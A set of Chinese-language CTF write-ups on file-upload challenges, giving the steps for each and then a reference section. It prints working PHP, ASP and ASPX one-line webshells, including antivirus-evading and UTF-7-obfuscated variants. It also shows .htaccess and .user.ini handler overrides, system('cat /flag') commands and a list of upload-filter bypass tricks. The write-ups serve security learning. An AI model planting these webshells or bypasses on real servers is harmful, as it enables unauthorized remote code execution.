[极客大挑战 2019]Knife1
题解:
- 发现网页显示“我家菜刀丢了,你能帮我找一下么 eval($_POST["Syc"]);”
- 所以使用中国菜刀或蚁剑连接网站后台
- 在“/”目录下找到flag文件
[极客大挑战 2019]Upload1
题解:
1.发现是上传jpg文件
2.编写一句话木马
<?php @eval($_POST[value]);?>
保存为jpg文件上传,由于文件在前端验证,使用bp修改文件后缀为php,放包后发现php文件被过滤(绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht),发现phtml未被过滤,使用bp修改为phtml
3.发现提示“<”被过滤修改一句话代码为
GIF89a? <script language="php">eval($_REQUEST[1])</script>
4.发现文件上传成功,通过蚁剑连接文件(地址为文件url)
5.连接成功后在“/‘文件目录下找到flag文件
[ACTF2020 新生赛]Upload1
1.编写一句话木马
<?php @eval($_POST[1]);?>
2.上传后发现提示只能上传jpg,png,gif后缀文件
3.将文件后缀改为png,通过bp将文件后缀改为php
4发现提示nonono,说明后端过滤php文件后缀
5.将文件后缀改为phtml,成功上传并显示文件路径
6.通过蚁剑连接,在“/”目录下找到flag文件
[MRCTF2020]你传你🐎呢1
- 进入发现上传文件,尝试一句话木马,上传发现php文件无法正常上传,尝试png文件,发现可以正常上传,并回显文件存储路径
- 使用蚁剑连接发现返回为空,进入网页查看发现传入文件被作为图片解析
则使用.htaccess绕过,编写.htaccess文件(该文件可使传入文件当作php文件解析)
<FilesMatch "7.png"> SetHandler application/x-httpd-php </FilesMatch>
传入时需用bp抓包修改Content-Typc为image/png
- 然后传入含有一句话木马“7. png”,再使用蚁剑连接,显示连接成功,flag文件位于网站根目录下
[GXYCTF2019]BabyUpload
- 进入题目只有选择和上传,尝试使用上传php文件,发现提示“后缀名不能有ph!”,使用phtml等后缀以及双写和大写后缀绕过,发现都提示“后缀名不能有ph!”,则不能使用该类型绕过。
然后尝试使用.htaccess绕过,编写文件
<FilesMatch "2.png"> SetHandler application/x-httpd-php </FilesMatch>
再通过bp更改Content-Typc为image/png
然后编写2.png
<?php @eval($_POST[2]);?>
上传后发现无法使用蚁剑链接
- 发现题目界面给出网页源代码,经过审计发现,只有文件为jpg类型才可上传。
编写.htaccess文件
<FilesMatch "5.jpg"> SetHandler application/x-httpd-php </FilesMatch>
通过bp更改Content-Typc为image/jpeg,发现成功上传并回显文件路径。编写5.jpg文件
<?php @eval($_POST[5]);?>
上传之后发现页面回显"诶,别蒙我啊,这标志明显还是php啊",再次查看代码,发现“<"进入判断,所以更改一句话木马
GIF89a? <script language="php">eval($_REQUEST[5])</script>
发现上传成功回显文件地址。
- 蚁剑连接成功,在网站根目录下找到flag
[SUCTF 2019]CheckIn
- 尝试普通上传方法,均弹出提示“illegal suffix!”,则文件后缀均被注释。
- 使用.staccess绕过方法,上传.staccess文件提示“exif_imagetype:not image!”
- 查看源码,发现函数exif_imagetype()【验证图片文件属性函数,检查文件头】
尝试.user.ini文件绕过。编写.user.ini文件
GIF89a //使用gif头,使文件绕过文件头检查 auto_prepend_file=3.gif
然后编写3.gif文件
GIF89a? <script language="php">eval($_POST['h'])</script> //参数为“h”便于后面查询flag
传入后回显文件地址,并在文件目录下生成了index.php文件
访问文件地址处的index.php(url访问),回显“GIF89a?”,通过post传参传入命令
h = system("ls");
发现目录下只有3.git和index.php
h = system("ls /");
发现有flag文件
h = system("cat /flag");
即可回显flag
5.2 扫描根目录:
scandir:按顺序读取指定目录下的所有文件及其路径
messi=var_dump(scandir("/"));
打印出flag所在文件中的内容
messi=var_dump(file_get_contents("/flag"));
知识点
一句话木马
asp一句话木马:
<%execute(request("value"))%>
php一句话木马:
<?php @eval($_POST[value]);?>
aspx一句话木马:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
其他一句话木马:
<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>
<%If Request("value")<>"" Then Execute(Request("value"))%>
<%if request ("value")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>
<SCRIPT language=VBScript runat="server">execute request("value")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"],"unsafe");%>
可以躲过雷客图的一句话木马:
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""value""))")
%>
不用’<,>'的asp一句话木马:
不用双引号的一句话木马:
<%eval request(chr(35))%>
UTF-7编码加密:
<%@ codepage=65000%><% response.Charset=”936″%>
<%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
文件上传步骤
1、前端绕过,抓包修改后缀名,
2、文件内容绕过,用图片马,抓包修改后缀绕过
3、黑名单绕过,那么我们可以改成phtml抓包绕过
4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”
5、大小写绕过,抓包后修改后缀为.PHp
7、空格绕过,抓包修改后缀,在后缀后面加上空格
8、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )
9、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,
10、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php
11、.user.ini配置文件绕过
.htaccess绕过
htaccess文件可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能!
如果黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。在htaccess文件中写入
SetHandler application/x-httpd-php
则可以将文件重写成php文件。PHPstudy中要使htaccess文件的规则生效,则需要在apache开启rewite重写模块,apache大多数都默认开启该模块,所以一般情况下都生效
.htaccess文件
<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>